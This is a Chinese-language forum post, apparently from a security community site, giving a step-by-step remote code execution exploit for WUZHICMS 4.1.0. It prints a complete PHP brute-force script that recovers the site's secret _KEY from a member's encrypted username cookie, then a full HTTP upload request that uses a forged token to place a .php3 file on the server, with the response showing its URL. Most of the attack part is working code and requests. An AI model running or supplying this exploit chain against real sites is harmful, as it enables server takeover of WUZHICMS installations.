WUZHICMS 4.1.0远程代码执行漏洞

第一步:创建一个新的会员帐户并登录,我们可以获取用户的cookie,例如
 

```
PHPSESSID=fafdij9r39dfaor3aliov6rcb7; mMx_auth=Vb5i65klqN3%2FeCuYYy73rr74MwLwsSpmO7bDUP39KvxXwtKONgX2MddPBlt76ak2usydOEMJEHpgxJCzCOECjAI9FqLUq%2Fqg0%2FBNx9shExnZZmDuSoYJ7w%3D%3D; mMx__uid=TIQ8Lm1UapHA%2F%2BGSz8cnSQ%3D%3D; mMx__username=P0k19fPKVx0qkrl4d0%2BIMg%3D%3D; mMx__groupid=NcY25dHE5vCyDv1t19qRiA%3D%3D; mMx_truename=hiboy; mMx_modelid=10

```

其名为 set_cookie 的自定义函数(在文件 `coreframe/core.php` 中,请参阅 )用于为用户生成 cookie

图片[1]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

它使用自定义的名为WUZHI_encrypt的加密类(在文件`coreframe/app/core/libs/class/encrypt.class.php`中)来加密用户的cookie

图片[2]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

以用户名为例,可以看到用户的真名是`hiboy`,密码是`P0k19fPKVx0qkrl4d0%2BIMg%3D%3D`

图片[3]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

它依赖于常量_KEY,它在安装时在文件`configs/web_config.php`中定义。

图片[4]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

最后你可以看到 _KEY 的第一个字符在字符序列 `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz` 的范围内

图片[5]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

_KEY 的其余字符来自字符序列 `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789`

图片[6]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

因此,对它的自定义类WUZHI_encrypt 做一些小修改,如下所示,就可以破解_KEY

图片[7]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

图片[8]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

0.php src:

<!--?php

class WUZHI_encrypt {
    /**
     * 判断是否支持 mcrypt 扩展
     *
     * @var bool
     */
    protected $_support_mcrypt = TRUE;

    /**
     * Initialize Encryption class
     *
     * @return  void
     */

    public function __construct($key)
    {
        if (($this->_support_mcrypt = function_exists('mcrypt_encrypt')) === FALSE)
        {
            $this->_support_mcrypt = FALSE;
        }
        $this->key = $key;
    }

    /**
     * Encode
     *
     *
     * @param   string  the string to encode
     * @param   string  the key
     * @return  string
     */
    public function encode($string, $key = '') {
        $key = $key == '' ? $this->key : $key;
        if($this->_support_mcrypt) {
            return base64_encode($this->mcrypt_encode($string, $key));
        } else {
            return $this->_authcode($string, 'ENCODE', $key);
        }
    }

    // --------------------------------------------------------------------

    /**
     * Decode
     *
     * Reverses the above process
     *
     * @param   string
     * @param   string
     * @return  string
     */
    public function decode($string, $key = '') {
        $key = $key == '' ? $this->key : $key;
        if($this->_support_mcrypt) {
            if (preg_match('/[^a-zA-Z0-9/+=]/', $string) OR base64_encode(base64_decode($string)) !== $string)
            {
                return FALSE;
            }
            return $this->mcrypt_decode(base64_decode($string), $key);
        } else {
            return $this->_authcode($string, 'DECODE', $key);
        }
    }

    /**
     * Encrypt using Mcrypt
     *
     * @param   string
     * @param   string
     * @return  string
     */
    public function mcrypt_encode($data, $key)
    {
        $init_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_CBC);
        $init_vect = mcrypt_create_iv($init_size, MCRYPT_RAND);
        return $this->_add_cipher_noise($init_vect.mcrypt_encrypt(MCRYPT_DES, $key, $data, MCRYPT_MODE_CBC, $init_vect), $key);
    }

    // --------------------------------------------------------------------

    /**
     * Decrypt using Mcrypt
     *
     * @param   string
     * @param   string
     * @return  string
     */
    public function mcrypt_decode($data, $key)
    {
        $data = $this->_remove_cipher_noise($data, $key);
        $init_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_CBC);

        if ($init_size > strlen($data))
        {
            return FALSE;
        }

        $init_vect = substr($data, 0, $init_size);
        $data = substr($data, $init_size);
        return rtrim(mcrypt_decrypt(MCRYPT_DES, $key, $data, MCRYPT_MODE_CBC, $init_vect), "");
    }


    /**
     * _add_cipher_noise()
     *
     * Function description
     *
     * @param   string  $data
     * @param   string  $key
     * @return  string
     */
    protected function _add_cipher_noise($data, $key)
    {
        $key = md5($key);
        $str = '';

        for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)
        {
            if ($j >= $lk)
            {
                $j = 0;
            }

            $str .= chr((ord($data[$i]) + ord($key[$j])) % 256);
        }

        return $str;
    }

    /**
     * _remove_cipher_noise()
     *
     * Function description
     *
     * @param   string  $data
     * @param   string  $key
     * @return  string
     */
    protected function _remove_cipher_noise($data, $key)
    {
        $key = md5($key);
        $str = '';

        for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)
        {
            if ($j >= $lk)
            {
                $j = 0;
            }

            $temp = ord($data[$i]) - ord($key[$j]);

            if ($temp < 0)
            {
                $temp += 256;
            }

            $str .= chr($temp);
        }

        return $str;
    }


    private function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
        $ckey_length = 4;
        $key = md5($key != '' ? $key : $this->key);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);

        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);

        $result = '';
        $box = range(0, 255);

        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }

        for($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }

        for($a = $j = $i = 0; $i < $string_length; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }

        if($operation == 'DECODE') {
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
                return substr($result, 26);
            } else {
                return '';
            }
        } else {
            return $keyc.str_replace('=', '', base64_encode($result));
        }

    }
}


function dump($username,$base64_username){
    $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789';
    $base64_username = urldecode($base64_username);
    for($i=17; $i < strlen($characters) - 11; $i++){
        $key[0] = $characters[$i];
        for($j=1; $j < strlen($characters); $j++){
            $key[1] = $characters[$j];
            for($k=49; $k < strlen($characters); $k++){
                $key[2] = $characters[$k];
                for($l=57; $l < strlen($characters); $l++){
                    $key[3] = $characters[$l];
                    for($m=35; $m < strlen($characters); $m++){
                        $key[4] = $characters[$m];
                        for($n=0; $n < strlen($characters); $n++){
                            $key[5] = $characters[$n];
                            for($o=0; $o < strlen($characters); $o++){
                                $key[6] = $characters[$o];
                                for($p=0; $p < strlen($characters); $p++){
                                    $key[7] = $characters[$p];
                                    $_key = implode("", $key);
                                    $c = new WUZHI_encrypt($_key);
                                    $u = $c->decode($base64_username);
                                    if($username == $u){
                                        echo 'FOUND: _KEY => '.$_key;
                                        exit();
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

dump('hiboy','P0k19fPKVx0qkrl4d0%2BIMg%3D%3D');

第二步:使用_KEY生成文件上传时使用的令牌。

dumcoreframe/app/attachment/index.php

图片[9]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

图片[10]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

图片[11]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

HTTP Request:

POST /index.php?m=attachment&f=index&v=h5upload&is_thumb=0&cut=&width=&height=&ext=jpg|gif|png&token=0d39848b3a45e1f66217fe0c28602af6 HTTP/1.1
Host: 192.168.1.58

Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3806.1 Safari/537.36
Referer: http://192.168.1.58/index.php?m=core&f=index&_su=wuzhicms
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-CN;q=0.6,zh-TW;q=0.5
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye4pmI8HUtkzImc3B
Cookie: PHPSESSID=fafdij9r39dfaor3aliov6rcb7; mMx_auth=Vb5i65klqN3%2FeCuYYy73rr74MwLwsSpmO7bDUP39KvxXwtKONgX2MddPBlt76ak2usydOEMJEHpgxJCzCOECjAI9FqLUq%2Fqg0%2FBNx9shExnZZmDuSoYJ7w%3D%3D; mMx__uid=TIQ8Lm1UapHA%2F%2BGSz8cnSQ%3D%3D; mMx__username=P0k19fPKVx0qkrl4d0%2BIMg%3D%3D; mMx__groupid=NcY25dHE5vCyDv1t19qRiA%3D%3D; mMx_truename=hiboy; mMx_modelid=10
Connection: close
Content-Length: 488

------WebKitFormBoundarye4pmI8HUtkzImc3B
Content-Disposition: form-data; name="name"

123.php3
------WebKitFormBoundarye4pmI8HUtkzImc3B
Content-Disposition: form-data; name="chunk"

1
------WebKitFormBoundarye4pmI8HUtkzImc3B
Content-Disposition: form-data; name="chunks"

2
------WebKitFormBoundarye4pmI8HUtkzImc3B
Content-Disposition: form-data; name="file"; filename="123.php3"
Content-Type: image/php

hiboy
------WebKitFormBoundarye4pmI8HUtkzImc3B--


响应:

HTTP/1.1 200 OK
Date: Tue, 04 Jun 2019 09:26:59 GMT
Server: Apache/2.4.34 (Unix) OpenSSL/1.0.2p PHP/5.6.38 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.38
Set-Cookie: mMx_userkeys=EmL4VZiLjCvB%2BzQXcUYAyQ%3D%3D; path=/
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Tue, 04 Jun 2019 09:26:59 GMT
Cache-Control: no-store, no-cache, must-ridate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 158
Connection: close
Content-Type: text/html; charset=utf-8

{"jsonrpc" : "2.0", "exttype" : "img", "result" : "http://192.168.1.58/uploadfile/2019/06/04/20190604152615dQnioj.php3", "id" : "1", "filename" : "123.php3" }

图片[12]-WUZHICMS  4.1.0远程代码执行漏洞-孤勇者社区

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞8赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像的卡0